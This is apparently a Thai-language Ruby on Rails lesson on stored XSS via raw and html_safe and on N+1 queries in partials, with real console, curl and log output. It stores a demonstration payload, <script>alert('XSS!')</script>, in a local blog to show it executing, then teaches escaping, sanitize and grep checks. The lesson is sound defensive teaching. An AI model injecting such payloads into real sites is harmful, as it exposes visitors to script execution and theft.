บทเรียน 125 · Rails · Day 3

ช่องโหว่ XSS และ N+1 ที่ซ่อนอยู่ใน view

~20 นาที · ควรผ่าน บทเรียน 123 (partial) · บทเรียน 103 (XSS ขั้นต้น) และ บทเรียน 114 (N+1) มาก่อน

view คือที่ที่บั๊กสองแบบชอบซ่อนตัว: บั๊กที่ทำให้คนร้ายรันโปรแกรมในเบราว์เซอร์ของคนอื่นได้ และบั๊กที่ทำให้หน้าเว็บช้าลงทุกครั้งที่มีบทความเพิ่ม
อ่านจบบทนี้ คุณจะรู้ว่าคำไหนใน view ที่ปิดระบบกันภัยของ Rails (raw · html_safe) และค้นหามันได้ในคำสั่งเดียว · จับ N+1 ที่ซ่อนอยู่ใน partial ได้จาก log และจากคำเตือนของ bullet · แล้วแก้ที่ controller บรรทัดเดียว

🔁 ทวนก่อนเริ่ม — คำพวกนี้จะโผล่ในบทนี้

🧰 เวอร์ชันที่ใช้ตรวจ: Ruby 4.0.9 · Rails 8.1.4 · PostgreSQL 18 · bullet 8.3.1 (สไลด์และ repo ของอาจารย์เขียน Ruby 4.0.5 · Rails 8.1.3 — เรื่องในบทนี้ไม่ต่างกัน)
📍 โค้ดเริ่มจาก: โปรเจกต์ที่ทำเสร็จในบท 120 (หมวด 5 · บทความ 30 ชิ้น) · บทนี้ทดลองแล้วคืนทิ้งตอนจบด้วย git restore — ของจริงเราทำกันใน Lab บท 126
🖥 เปิดค้างไว้: bin/dev หนึ่งหน้าต่าง (เว็บอยู่ที่ localhost:3000) · อีกหน้าต่างไว้พิมพ์คำสั่ง · ผลรันทุกกล่องมาจากเครื่องจริง · เวลา ms · วันที่ · เลข 0x… · id ของบทความ ของคุณอาจไม่ตรงกับในบท

XSS ทวน 30 วินาที — แล้วทำไมต้องลงลึกอีก

บท 103 เห็นแล้วว่าถ้าชื่อบทความเป็น <script>…</script> แล้วหน้าเว็บวางลงไปตรง ๆ เบราว์เซอร์ของทุกคนที่เปิดหน้านั้นจะรันโปรแกรมของคนร้าย · และ <%= %> กันให้แล้วโดยไม่ต้องสั่ง

ที่ต้องลงลึกเพราะ Day 3 เราจะเริ่มให้ AI เขียน view · และมีคำสั้น ๆ ไม่กี่คำที่ปิดระบบกันภัยนี้ได้ ซึ่ง AI (หรือคนที่รีบ) อาจหยิบมาใช้ตอนอยากให้ HTML "โชว์ออกมาสวย ๆ" · บทนี้จะลองของจริงทั้ง 4 แบบในสไลด์หน้า 17 แล้วดูว่าเบราว์เซอร์ได้รับอะไรจริง

สร้างบทความอันตรายของจริงหนึ่งชิ้น

เปิด bin/rails console (บท 107) ในหน้าต่างที่สองแล้วสร้างบทความที่ชื่อเป็นโปรแกรม · เราใช้ alert('XSS!') (alert = คำสั่ง JavaScript ที่เด้งกล่องข้อความขึ้นมาบนหน้าเว็บ) — แค่เด้งกล่อง ไม่ทำอะไรเสียหาย · คนร้ายจริงจะใส่โปรแกรมขโมยข้อมูลแทน (สไลด์หน้า 17)

wongnok-blog-all-in-one(dev):001> post = Post.create!(title: "<script>alert('XSS!')</script>", description: "บทความทดลอง XSS", category: Category.first)
  Category Load (0.5ms)  SELECT "categories".* FROM "categories" ORDER BY "categories"."id" ASC LIMIT 1 /*application='WongnokBlogAllInOne'*/
  TRANSACTION (0.3ms)  BEGIN /*application='WongnokBlogAllInOne'*/
  Post Create (0.8ms)  INSERT INTO "posts" ("title", "description", "category_id", "created_at", "updated_at") VALUES ('<script>alert(''XSS!'')</script>', 'บทความทดลอง XSS', 1, '2026-11-07 03:44:18.637441', '2026-11-07 03:44:18.637441') RETURNING "id" /*application='WongnokBlogAllInOne'*/
  TRANSACTION (0.7ms)  COMMIT /*application='WongnokBlogAllInOne'*/
=>
#<Post:0x0000000126ae2118
…
wongnok-blog-all-in-one(dev):002> post.id
=> 31

สังเกตว่า Rails ยอมให้บันทึก · ระบบกันภัยของ Rails ไม่ได้อยู่ตอนเก็บ แต่อยู่ตอนโชว์ — ตรงนี้แหละที่บทนี้จะเจาะ

ลอง 4 แบบ — ดูว่าเบราว์เซอร์ได้รับอะไรจริง

หน้า /posts/31 โชว์บทความผ่านแม่พิมพ์ app/views/posts/_post.html.erb (ของเดิมจาก scaffold) · เปิดไฟล์ดูทั้งไฟล์ก่อน — ครึ่งหลังของบทก็ใช้ไฟล์นี้:

<%# app/views/posts/_post.html.erb — เลขบรรทัดอยู่ซ้ายสุด (ไม่ได้อยู่ในไฟล์) %>
 1  <div id="<%= dom_id post %>" class="w-full sm:w-auto my-5 space-y-5">
 2    <div>
 3      <strong class="block font-medium mb-1">Title:</strong>
 4      <%= post.title %>
 5    </div>
 6    <div>
 7      <strong class="block font-medium mb-1">Description:</strong>
 8      <%= post.description %>
 9    </div>
10    <div>
11      <strong class="block font-medium mb-1">Category:</strong>
12      <%= post.category_id %>
13    </div>
14  </div>

เราจะเปลี่ยนบรรทัด 4 ทีละแบบ แล้วดู HTML ที่ได้ด้วย curl (โปรแกรมเปิดหน้าเว็บจากเทอร์มินัล โชว์ HTML เป็นข้อความ — เห็นของที่เบราว์เซอร์ได้รับจริง ก่อนเบราว์เซอร์จะแปลเป็นหน้าจอ · -s = เงียบ ๆ ไม่โชว์แถบความคืบหน้า) · HTML ทั้งหน้ายาวมาก ข้างล่างตัดมาเฉพาะสองบรรทัดถัดจากคำว่า Title: · ของคุณให้ไล่หาคำว่า Title: แบบเดียวกัน

แบบ ① <%= post.title %> — ของเดิม

$ curl -s localhost:3000/posts/31
…
    <strong class="block font-medium mb-1">Title:</strong>
    &lt;script&gt;alert(&#39;XSS!&#39;)&lt;/script&gt;
…

แบบ ② <%= raw post.title %>

แก้บรรทัด 4 เป็น <%= raw post.title %> แล้ว curl ใหม่:

$ curl -s localhost:3000/posts/31
…
    <strong class="block font-medium mb-1">Title:</strong>
    <script>alert('XSS!')</script>
…

<script> ตัวจริงหลุดเข้าไปในหน้าเว็บ · เปิด http://localhost:3000/posts/31 ในเบราว์เซอร์ → กล่อง alert "XSS!" เด้งขึ้นมา (กด OK ปิดได้) · (ผมยืนยันด้วย Chrome จริงแล้ว — และเปิดหน้ารวม /posts ก็เด้งเหมือนกัน เพราะใช้แม่พิมพ์เดียวกัน = ทุกคนที่เปิดหน้ารวมโดนหมด)

แบบ ③ <%= post.title.html_safe %>

แก้บรรทัด 4 เป็น <%= post.title.html_safe %> — ผลจริง:

    <strong class="block font-medium mb-1">Title:</strong>
    <script>alert('XSS!')</script>

เหมือนแบบ ② ทุกตัวอักษร · กล่อง alert เด้งเหมือนกัน (ยืนยันด้วย Chrome แล้ว) · เพราะในโค้ดของ Rails เอง raw คือ to_s.html_safe บรรทัดเดียว — สองคำนี้คือของชิ้นเดียวกัน คนละหน้าตา

⚠️ ชื่อ html_safe หลอกตา — มันไม่ได้ทำให้ HTML ปลอดภัย · มันคือการแปะป้ายว่า "ข้อความนี้ปลอดภัยแล้ว ไม่ต้อง escape" · Rails เชื่อป้ายนั้นทันที ไม่ตรวจอะไรเลย

แบบ ④ <%= sanitize post.title %>

<%= sanitize post.title %>

sanitize แปลว่า "ฆ่าเชื้อ" · ชื่อบทความคือ <script>alert('XSS!')</script> · คิดว่าบนจอจะเห็นอะไร — ว่างเปล่า · ตัวหนังสือทั้งก้อนเหมือนแบบ ① · alert เด้ง · หรืออย่างอื่น?

ผลจริงจาก curl:

    <strong class="block font-medium mb-1">Title:</strong>
    alert('XSS!')

แท็ก <script> ถูกถอดทิ้ง แต่ตัวหนังสือข้างในยังอยู่ · บนจอจึงเห็นคำว่า alert('XSS!') เป็นตัวหนังสือเฉย ๆ · ไม่มีอะไรรัน (Chrome ยืนยันว่าตรงชื่อบทความไม่มีแท็ก script เหลือ และกล่องไม่เด้ง)

สรุปทั้ง 4 แบบ (ผลจริงทุกช่อง):

ใน viewHTML ที่ส่งออกไปบนจอscript รันไหม
<%= post.title %>&lt;script&gt;…ข้อความเต็ม ๆ✅ ไม่รัน
<%= raw post.title %><script>…ว่าง + กล่องเด้ง❌ รัน
<%= post.title.html_safe %><script>…ว่าง + กล่องเด้ง❌ รัน
<%= sanitize post.title %>alert('XSS!')ข้อความที่ถอดแท็กแล้ว✅ ไม่รัน
✉️ เทียบให้เห็นภาพ — ซองใส กับการแกะซอง

คนจัดจาน (view) เอาทุกอย่างที่ลูกค้าเขียนมาใส่ซองใสก่อนวางบนจาน · ใครดูก็อ่านออกว่าเขียนอะไร แต่มันทำงานไม่ได้ — ใบที่เขียนว่า "จุดประทัด" ก็เป็นแค่กระดาษในซอง · raw คือสั่งคนจัดจานว่า "แกะซองออก วางของจริงลงจานเลย" · .html_safe คือแปะสติกเกอร์ "ตรวจแล้ว" บนของชิ้นนั้น — คนจัดจานเห็นสติกเกอร์ก็ไม่ใส่ซองให้ ทั้งที่ไม่มีใครตรวจจริง

ที่ไม่เหมือนกัน: คนจัดจานจริงเห็นประทัดก็คงทักว่า "เอ๊ะ แน่ใจเหรอ" · Rails ไม่ทักเลย ไม่มี error ไม่มีคำเตือนใน log — หน้าเว็บโหลดปกติ 200 OK · คนเดียวที่จะจับได้คือคนอ่านโค้ด

เทียบกับ React (บท 71): {post.title} ใน JSX ก็ escape ให้เองแบบเดียวกับ <%= %> · ถ้าอยากวาง HTML ดิบ React บังคับให้พิมพ์ชื่อยาว ๆ ว่า dangerouslySetInnerHTML — ตั้งชื่อให้ดูอันตรายโดยตั้งใจ · ฝั่ง Rails คำที่ทำหน้าที่นั้นคือ raw กับ html_safe ซึ่งชื่อไม่ได้ฟังดูอันตรายเลย เราจึงต้องจำเอง

🗣 ศัพท์ที่เพิ่งเรียนไป
stored XSS (persistent XSS)
XSS ที่โปรแกรมของคนร้ายถูกเก็บลงฐานข้อมูลแล้วไปรันในเบราว์เซอร์ของทุกคนที่เปิดหน้านั้น (แบบที่เราเพิ่งทำ) · ร้ายแรงเพราะโดนทุกคน ไม่ใช่แค่คนที่กดลิงก์แปลก ๆ · ถาม senior ได้ว่า "ช่องไหนบ้างที่ผู้ใช้พิมพ์เองแล้วเราเอาไปโชว์ให้คนอื่นดู"
raw · html_safe
สองคำที่บอก Rails ว่า "ไม่ต้อง escape ข้อความนี้" · raw x = x.to_s.html_safe · พิมพ์บอก AI ได้ว่า "do not use raw or html_safe on user input; keep ERB's default escaping"

sanitize — คัดแท็กตามรายชื่อที่อนุญาต

แล้วถ้าอยากให้ผู้ใช้ทำตัวหนา หรือใส่ลิงก์ได้ล่ะ? (เช่น คำอธิบายร้านที่มี ตัวหนา) · <%= %> จะ escape ทุกแท็ก ส่วน raw ปล่อยทุกแท็ก — sanitize คือทางกลาง: เก็บแท็กที่อยู่ในรายชื่อที่อนุญาต ถอดที่เหลือทิ้ง

ลองใน console (helper ใน console = กล่องเครื่องมือชุดเดียวกับที่ view ใช้ ยืมมาลองนอกหน้าเว็บได้) — ผลจริง:

wongnok-blog-all-in-one(dev):001> helper.sanitize('<b>อร่อยมาก</b>')
=> "<b>อร่อยมาก</b>"
wongnok-blog-all-in-one(dev):002> helper.sanitize('<script>alert(1)</script>สวัสดี')
=> "alert(1)สวัสดี"
wongnok-blog-all-in-one(dev):003> helper.sanitize('<a href="/posts" onclick="alert(1)">ร้านอื่น</a>')
=> "<a href=\"/posts\">ร้านอื่น</a>"
🌿 เทียบให้เห็นภาพ — คนจัดจานที่ถือรายการของตกแต่งที่อนุญาต

ลูกค้าส่งของตกแต่งจานมาเอง · คนจัดจานถือรายการ "ใบโหระพา · พริกซอย · ผักชี วางได้" · ของที่อยู่ในรายการวางลงจาน · ของนอกรายการ (ประทัด · ไม้ขีด) ดึงออกทิ้ง · กระดาษโน้ตที่ติดมากับประทัดยังวางไว้ให้อ่านได้ — แบบที่ alert(1) ยังเหลือเป็นตัวหนังสือ

ที่ไม่เหมือนกัน: คนจัดจานจริง "ดูออก" ว่าอะไรอันตราย · sanitize ดูไม่ออก มันแค่เทียบกับรายการ · ถ้าเราไปเพิ่ม script ลงรายการเอง (sanitize(x, tags: %w[script])) มันก็ปล่อย <script>alert(1)</script> ผ่านทั้งก้อน (ผมลองแล้ว) · เอกสารของ Rails เตือนตรง ๆ ว่าให้ใช้รายการเริ่มต้นเท่าที่ทำได้

สไลด์หน้า 17 บอกว่า sanitize "ใช้กับ rich text (บ่าย)" — rich text คือช่องที่ผู้ใช้จัดตัวหนา ใส่ลิงก์ได้ เป็นเรื่องของ Day 3 ช่วงบ่าย (ยังไม่มาในชุดนี้) · วันนี้จำแค่ว่า: ไม่ต้องการ HTML จากผู้ใช้ = ใช้ <%= %> ธรรมดา · ต้องการจริง ๆ = sanitize · ไม่มีกรณีไหนที่ควร raw ข้อมูลจากผู้ใช้

🗣 ศัพท์ที่เพิ่งเรียนไป
sanitize · sanitizer
ล้างข้อความ HTML ให้เหลือเฉพาะแท็กและ attribute ที่อนุญาต · ใน Rails คือ helper sanitize · พิมพ์บอก AI ได้ว่า "if HTML from users is needed, use sanitize with the default allowlist, never raw"
allowlist (safe list)
รายชื่อของที่อนุญาต — ไม่อยู่ในรายชื่อ = ไม่ผ่าน (ตรงข้ามกับ denylist ที่ห้ามเฉพาะของที่รู้จัก) · ถาม senior ได้ว่า "โปรเจกต์เราแก้ allowlist ของ sanitize ไว้ไหม เพิ่มอะไรเข้าไปบ้าง"

กฎหนึ่งบรรทัด + หาคำอันตรายด้วยคำสั่งเดียว

ค่าเริ่มต้นของ Rails ปลอดภัย — อันตรายเกิดเมื่อเราตั้งใจพิมพ์ raw หรือ html_safe เอง (สไลด์หน้า 17) · แปลว่าเวลาตรวจโค้ด (ของเพื่อนหรือของ AI) ไม่ต้องไล่อ่านทุกบรรทัด — ค้นหาสองคำนี้ก่อน

ตอนนี้บรรทัด 4 ของ _post.html.erb ยังเป็น sanitize อยู่ · เปลี่ยนกลับเป็น <%= raw post.title %> สักครู่ แล้วค้นด้วย grep — ผลจริง:

$ grep -rn "raw\|html_safe" app/views
app/views/posts/_post.html.erb:4:    <%= raw post.title %>

คืนไฟล์เป็นของเดิมแล้วค้นอีกรอบ: git restore app/views/posts/_post.html.erb → grep -rn "raw\|html_safe" app/views → ไม่มีอะไรขึ้นเลย = ไม่เจอ = ดี

⚠️ grep หาตัวอักษร ไม่ได้อ่านโค้ดเป็น — ถ้าค้นทั้งโฟลเดอร์ app ผมได้ผลเกินมา 9 บรรทัดจาก app/assets/tailwind/daisyui.mjs เพราะคำว่า drawer มี raw ซ่อนอยู่ · เติม -w (เฉพาะคำเต็ม) → grep -rnw "raw\|html_safe" app เหลือแต่บรรทัดที่ใช่จริง · ค้นทั้ง app ดีกว่าค้นแค่ app/views เพราะ html_safe ซ่อนใน helper (app/helpers) ได้ด้วย

เจอแล้วทำอะไรต่อ — ถามคำถามเดียวตามสไลด์: "ข้อมูลตรงนี้มาจากไหน"

🧹 ก่อนไปครึ่งหลัง: ลบบทความทดลองทิ้งใน console (บทความชิ้นล่าสุดคือชิ้นที่เราเพิ่งสร้าง):

wongnok-blog-all-in-one(dev):001> Post.last.destroy
  Post Load (0.5ms)  SELECT "posts".* FROM "posts" ORDER BY "posts"."id" DESC LIMIT 1 /*application='WongnokBlogAllInOne'*/
  TRANSACTION (0.3ms)  BEGIN /*application='WongnokBlogAllInOne'*/
  Post Destroy (0.8ms)  DELETE FROM "posts" WHERE "posts"."id" = 31 /*application='WongnokBlogAllInOne'*/
  TRANSACTION (0.8ms)  COMMIT /*application='WongnokBlogAllInOne'*/
=>
#<Post:0x0000000125c6e0f0
 id: 31,
 title: "<script>alert('XSS!')</script>",
…

เห็น DELETE … "id" = 31 และ title: "<script>…" = ลบถูกชิ้น · กลับมาเหลือบทความ 30 ชิ้นเท่าเดิม

N+1 ใน view — ทำไมหายากกว่าที่เห็นในบท 114

บท 114 เราเจอ N+1 ในไฟล์ view ไฟล์เดียว ที่ @posts.each กับ post.user.name อยู่ติดกัน · ของจริงในโปรเจกต์มักไม่ง่ายขนาดนั้น เพราะ การวนลูป อยู่ใน index.html.erb แต่ของที่ไปตู้ไปซ่อนอยู่ในแม่พิมพ์ _post.html.erb อีกไฟล์หนึ่ง

สมมติเพื่อนในทีมเปิด PR (คำขอรวมโค้ด) หนึ่งอัน: "โชว์ชื่อหมวดแทนเลขหมวด" · ทั้ง PR มีแค่นี้ (ผลจริงจาก git diff):

--- a/app/views/posts/_post.html.erb
+++ b/app/views/posts/_post.html.erb
@@ -9,6 +9,6 @@
   </div>
   <div>
     <strong class="block font-medium mb-1">Category:</strong>
-    <%= post.category_id %>
+    <%= post.category.name %>
   </div>
 </div>

คนตรวจ PR เห็นแค่นี้ · controller ไม่อยู่ใน diff เลย จึงไม่มีใครเห็นว่า controller เขียน @posts = Post.all ไม่มี includes · สไลด์หน้า 18 สรุปสามเหตุผลที่มันหายาก: คนเขียน controller กับ partial อาจเป็นคนละคน คนละ PR · เพิ่มช่องใหม่ใน partial วันหลัง = เพิ่ม N+1 ใหม่โดยไม่รู้ตัว · controller ไม่เปลี่ยน diff จึงดูไม่มีอะไร

ลองทำตาม PR นี้จริง: แก้บรรทัด 12 ของ _post.html.erb จาก post.category_id เป็น post.category.name แล้วรีเฟรชหน้า /posts

มีบทความ 30 ชิ้น อยู่ใน 5 หมวด · controller ยังเป็น Post.all · บรรทัด Completed … ใน log จะขึ้น (? queries, ? cached) เท่าไหร่? (ใบ้: บท 114 เห็นแล้วว่า Rails จำคำถามที่ซ้ำเป๊ะ ๆ ได้ภายในใบสั่งเดียว)

ผลจริงจาก log/development.log (ตัดบรรทัดกลางที่ซ้ำ ๆ เป็น …):

Started GET "/posts" for ::1 at 2026-11-07 10:46:02 +0700
Processing by PostsController#index as */*
  Rendering layout layouts/application.html.erb
  Rendering posts/index.html.erb within layouts/application
  Post Exists? (1.1ms)  SELECT 1 AS one FROM "posts" LIMIT 1 /*action='index',application='WongnokBlogAllInOne',controller='posts'*/
  ↳ app/views/posts/index.html.erb:15
  Post Load (1.1ms)  SELECT "posts".* FROM "posts" /*action='index',application='WongnokBlogAllInOne',controller='posts'*/
  ↳ app/views/posts/index.html.erb:16
  Category Load (1.7ms)  SELECT "categories".* FROM "categories" WHERE "categories"."id" = 1 LIMIT 1 /*action='index',application='WongnokBlogAllInOne',controller='posts'*/
  ↳ app/views/posts/_post.html.erb:13
  Rendered posts/_post.html.erb (Duration: 14.6ms | GC: 8.1ms)
  Category Load (0.9ms)  SELECT "categories".* FROM "categories" WHERE "categories"."id" = 2 LIMIT 1 /*action='index',application='WongnokBlogAllInOne',controller='posts'*/
  ↳ app/views/posts/_post.html.erb:13
  …  (id = 3, 4, 5 เหมือนกัน)
  CACHE Category Load (0.3ms)  SELECT "categories".* FROM "categories" WHERE "categories"."id" = 1 LIMIT 1
  ↳ app/views/posts/_post.html.erb:13
  …  (CACHE วน id 1–5 ไปเรื่อย ๆ อีก 24 ครั้ง)
  Rendered posts/index.html.erb within layouts/application (Duration: 53.5ms | GC: 17.1ms)
  Rendered layout layouts/application.html.erb (Duration: 54.5ms | GC: 17.1ms)
Completed 200 OK in 57ms (Views: 49.3ms | ActiveRecord: 6.2ms (32 queries, 25 cached) | GC: 17.5ms)

(32 queries, 25 cached) — นับให้ดูทีละกลุ่ม:

  • Post Exists? 1 — มาจาก <% if @posts.any? %> บรรทัด 14 ของ index ("มีบทความสักชิ้นไหม") · log บอก :15 → ลบหนึ่ง = 14
  • Post Load 1 — หยิบบทความ 30 แผ่น (@posts.each บรรทัด 15)
  • Category Load 30 — ตัวจริง 5 (หมวด 1–5) + CACHE 25 (หมวดเดิมซ้ำ Rails ตอบจากความจำ) · ทุกบรรทัดชี้ _post.html.erb:13 → ลบหนึ่ง = บรรทัด 12 = post.category.name

บรรทัดอื่นอ่านผ่านได้: Rendered … = วาดแม่พิมพ์/หน้าเสร็จ · Duration GC Views = ตัวเลขเวลา (ms) เปลี่ยนทุกครั้ง · ผมยิงด้วย curl จึงเห็น for ::1 กับ as */* · ถ้าคุณรีเฟรชจากเบราว์เซอร์จะเห็น as HTML แทน ความหมายเดียวกัน

1 + 1 + 30 = 32 · ไปตู้จริง 7 รอบ · ที่เหลือ "cached" · แต่อย่าวางใจ CACHE (บท 114) — ถ้ามี 30 หมวดไม่ซ้ำกัน ก็ไปตู้จริงครบ 30 รอบ

🍚 เทียบให้เห็นภาพ — แม่พิมพ์ที่ต้องเดินไปตู้ทุกจาน

หัวหน้าเชฟ (controller) วางแฟ้มบทความ 30 แผ่นไว้บนถาดหน้าครัว · คนจัดจานหยิบแม่พิมพ์ (_post) มากดทีละจาน · แม่พิมพ์รุ่นใหม่มีช่อง "ชื่อหมวด" · แต่บนถาดมีแค่เลขหมวด ไม่มีชื่อ → ทุกจาน คนจัดจานต้องเดินไปตู้ถามชื่อหมวดเอง 30 รอบ · หัวหน้าเชฟไม่รู้เรื่องเลย เพราะเขาไม่ได้ดูแม่พิมพ์ — เขาแค่วางถาด

ที่ไม่เหมือนกัน: คนจัดจานจริงเดินไปสองสามรอบก็คงจำได้ว่า "หมวด 1 ชื่ออาหารไทย" แล้วเลิกเดิน · Rails จำได้แค่ภายในใบสั่งเดียว (CACHE) และยังนับว่าถามทุกครั้ง · ใบสั่งใหม่ (ลูกค้าคนถัดไป) ความจำถูกล้าง เริ่มเดินใหม่ทั้งหมด

🗣 ศัพท์ที่เพิ่งเรียนไป
N+1 in a partial
N+1 ที่ตัวลูป (each / render @posts) อยู่ไฟล์หนึ่ง แต่บรรทัดที่ไปตู้อยู่ในแม่พิมพ์อีกไฟล์ · ดูจาก diff ไม่ออก ต้องดู log · พิมพ์บอก AI ได้ว่า "_post.html.erb calls post.category.name; check whether the controller eager loads :category"
PR (pull request) · diff
PR = คำขอรวมโค้ดที่เพื่อนตรวจก่อน · diff = รายการบรรทัดที่เปลี่ยน (- ลบ · + เพิ่ม) · ของที่ไม่ได้เปลี่ยนจะไม่อยู่ใน diff · ถาม senior ได้ว่า "ตอน review PR ที่แก้ partial ต้องเปิดดู controller ด้วยไหม"

bullet — ผู้ช่วยที่ตะโกนบอกเอง

นับจาก log ได้ผลแน่นอน แต่ต้องตั้งใจดู · สไลด์หน้า 18 แนะนำให้ "ใส่ gem bullet ไว้ตั้งแต่วันแรก" — โปรเจกต์ของคอร์สติดตั้งมาให้แล้ว (ใน Gemfile และเปิดไว้ใน config/environments/development.rb) · bullet คอยดูระหว่างหน้าเว็บทำงาน ถ้าเห็นรูปแบบ N+1 มันบอกเราสองที่:

ที่ ① บนหน้าเว็บ — กล่องสีชมพูมุมซ้ายล่าง หัวข้อ Bullet Warnings · คลิกแล้วกางออก (ข้อความจริงจาก Chrome):

Bullet Warnings
user: tuwanon USE eager loading detected Post => [:category] Add to your query: .includes([:category])

ที่ ② ใน log/development.log ต่อท้ายใบสั่งนั้น (ผลจริง · ผมตัด path ยาว ๆ ข้างหน้า app/ ออกเป็น …/):

user: tuwanon
GET /posts
USE eager loading detected
  Post => [:category]
  Add to your query: .includes([:category])
Call stack
  …/app/views/posts/_post.html.erb:13:in '_app_views_posts__post_html_erb__…'
  …/app/views/posts/index.html.erb:18:in 'block in _app_views_posts_index_html_erb__…'
  …/app/views/posts/index.html.erb:16:in '_app_views_posts_index_html_erb__…'

(ป้ายตัวเลข ms เล็ก ๆ มุมซ้ายบนของหน้าเว็บคือ gem อีกตัวชื่อ rack-mini-profiler ที่ repo ติดมาด้วย — บทนี้ไม่ใช้ ปล่อยไว้ได้)

📣 เทียบให้เห็นภาพ — ผู้ช่วยครัวที่ยืนนับรอบเดินไปตู้

bullet คือผู้ช่วยที่ยืนอยู่ข้างตู้ จดว่าใครเดินมาหยิบอะไรกี่รอบ · พอเห็นคนจัดจานเดินมาถามชื่อหมวดซ้ำ ๆ ทีละจาน ก็ตะโกนบอกว่า "รอบหน้าให้หัวหน้าเชฟเบิกหมวดมาพร้อมแฟ้มบทความเลย!" — พร้อมบอกว่าเขียนใบเบิกว่าอะไร

ที่ไม่เหมือนกัน: ผู้ช่วยตัวจริงอยู่ทุกกะ · bullet ทำงานเฉพาะในเครื่องเรา (development) และเห็นเฉพาะหน้าที่เราเปิดจริง · หน้าที่ไม่มีใครเปิดตอนพัฒนา มันก็ไม่รู้ · และมันเดาผิดได้ — เห็นตัวอย่างในภารกิจท้ายบท

🗣 ศัพท์ที่เพิ่งเรียนไป
bullet
gem ที่จับ N+1 ระหว่างพัฒนา แล้วเตือนใน log และบนหน้าเว็บ (สองบรรทัดตั้งค่าใน development.rb: Bullet.rails_logger = true = เขียนลง log · Bullet.add_footer = true = แปะกล่องบนหน้าเว็บ) · แปะคำเตือนให้ AI ได้ตรง ๆ ว่า "Bullet says: USE eager loading detected Post => [:category]. Fix it in the controller."
call stack
รายการ "ใครเรียกใคร" ตอนเกิดเรื่อง เรียงจากจุดเกิดเหตุขึ้นไปหาต้นทาง · อ่านบรรทัดบนสุดที่เป็นไฟล์ของเราก่อน · ถาม senior ได้ว่า "บรรทัดไหนใน stack ที่เป็นโค้ดของเรา"

แก้ที่ controller ไม่ใช่ที่ view

ทำตามที่ bullet บอก — แก้ app/controllers/posts_controller.rb บรรทัดเดียว (ของเดิมจาก scaffold คือ @posts = Post.all) · แม่พิมพ์ไม่ต้องแตะเลย:

# app/controllers/posts_controller.rb — action index
  def index
    @posts = Post.includes(:category)
  end

includes(:category) = ใบเบิกที่เขียนต่อท้ายว่า "หยิบหมวดของทุกแผ่นมาใส่ตะกร้าด้วย" (บท 114) · ชื่อ :category ต้องตรงกับใน model (belongs_to :category) · รีเฟรช /posts — log ใหม่ (ผลจริง · ตัดบรรทัด Rendered posts/_post… 30 บรรทัดออก):

  Post Exists? (0.6ms)  SELECT 1 AS one FROM "posts" LIMIT 1 /*action='index',application='WongnokBlogAllInOne',controller='posts'*/
  ↳ app/views/posts/index.html.erb:15
  Post Load (0.6ms)  SELECT "posts".* FROM "posts" /*action='index',application='WongnokBlogAllInOne',controller='posts'*/
  ↳ app/views/posts/index.html.erb:16
  Category Load (0.7ms)  SELECT "categories".* FROM "categories" WHERE "categories"."id" IN (1, 2, 3, 4, 5) /*action='index',application='WongnokBlogAllInOne',controller='posts'*/
  ↳ app/views/posts/index.html.erb:16
…
Completed 200 OK in 23ms (Views: 18.3ms | ActiveRecord: 3.2ms (3 queries, 0 cached) | GC: 5.8ms)

เทียบกับ React/Next.js: คล้ายเวลา component ลูกแต่ละตัวยิง fetch ของตัวเองใน useEffect (บท 74) — รายการ 30 ชิ้นก็ยิง 30 ครั้ง · ทางแก้ก็หลักเดียวกัน: ให้ตัวแม่ดึงข้อมูลครบทีเดียว แล้วส่งลงไปให้ลูก · ฝั่ง Rails ตัวแม่คือ controller

✅ นิสัยที่อยากให้ติดตัว (สไลด์หน้า 18)

  1. ทุกครั้งที่เติมจุดลงใน partial เช่น post.category.name → ไปเปิด controller ดูว่า includes แล้วหรือยัง
  2. เปิด log ค้างไว้ตอนทำงาน (bin/dev โชว์ log ในหน้าต่างของมันอยู่แล้ว) · ดูบรรทัด Completed … (N queries) ทุกครั้งที่เปิดหน้าใหม่
  3. เห็นกล่อง Bullet Warnings โผล่ = หยุดแก้ก่อน อย่าปล่อยค้าง

ให้ AI ช่วย — แต่ตรวจด้วยของสองอย่างที่เพิ่งเรียน

สไลด์ Day 3 จะให้เราสั่ง AI เขียน view บ่อย ๆ (Lab บท 126) · AI เขียน post.category.name ในแม่พิมพ์โดยไม่ไปเติม includes ที่ controller ได้ง่ายมาก เพราะมันไม่เห็น log ของคุณ · ใส่ข้อห้ามไว้ใน prompt ตั้งแต่แรก (โครง 4 ส่วนจาก บท 121) เช่นท่อน "ห้าม" กับ "เกณฑ์ตรวจรับ":

ห้าม:
- ใช้ raw หรือ html_safe กับข้อมูลที่ผู้ใช้พิมพ์
- เรียก association ใน partial โดยไม่ includes ที่ controller
เกณฑ์ตรวจรับ:
- grep -rnw "raw\|html_safe" app ไม่เจออะไร
- หน้า /posts ไม่มี Bullet Warnings และ log ขึ้นไม่เกิน 3 queries

แล้วตรวจเองทุกครั้ง อย่าเชื่อคำว่า "เสร็จแล้ว" ของ AI:

  1. รัน grep -rnw "raw\|html_safe" app · เจอ → ถาม "ข้อมูลตรงนี้มาจากไหน"
  2. เปิดทุกหน้าที่ AI แก้ · ดูมุมซ้ายล่างว่ามี Bullet Warnings ไหม · ดู (N queries) ใน log
  3. เจอปัญหา → แปะ log หรือคำเตือนของ bullet ให้ AI ดูตรง ๆ ได้ผลกว่าสั่งลอย ๆ ว่า "ทำให้เร็วขึ้น"

🎯 ภารกิจ — หา N+1 ตัวใหม่ด้วยตัวเอง (~10 นาที)

คราวนี้เป็นหน้าหมวด · เพื่อนอยากให้หน้า /categories โชว์ชื่อบทความในแต่ละหมวดด้วย · เริ่มจากโค้ดสะอาด: git restore . ก่อน (คืนทุกไฟล์ที่ทดลองไว้ข้างบน)

  1. เปิด app/views/categories/_category.html.erb เพิ่มก้อนนี้ก่อน </div> บรรทัดสุดท้าย:
      <div>
        <strong class="block font-medium mb-1">Posts:</strong>
        <%= category.posts.map(&:title).join(", ") %>
      </div>
    (category.posts = บทความทุกชิ้นในหมวดนี้ · map(&:title) = เอาแต่ชื่อ (บท 92) · join(", ") = ต่อเป็นข้อความเดียวคั่นด้วยจุลภาค)
  2. เปิด http://localhost:3000/categories · ดูมุมซ้ายล่าง และดู log ของใบสั่งนี้ (หน้าต่าง bin/dev หรือ log/development.log — หาบรรทัด Started GET "/categories" แล้วอ่านลงมา)
  3. โดยไม่ดูเฉลย: จดตัวเลข (N queries) · หาบรรทัดที่ซ้ำ ๆ · ตาม ↳ ไปหาว่าบรรทัดไหนใน view เป็นต้นเหตุ · แล้วตัดสินใจเองว่าต้องแก้ไฟล์ไหน แก้เป็นอะไร
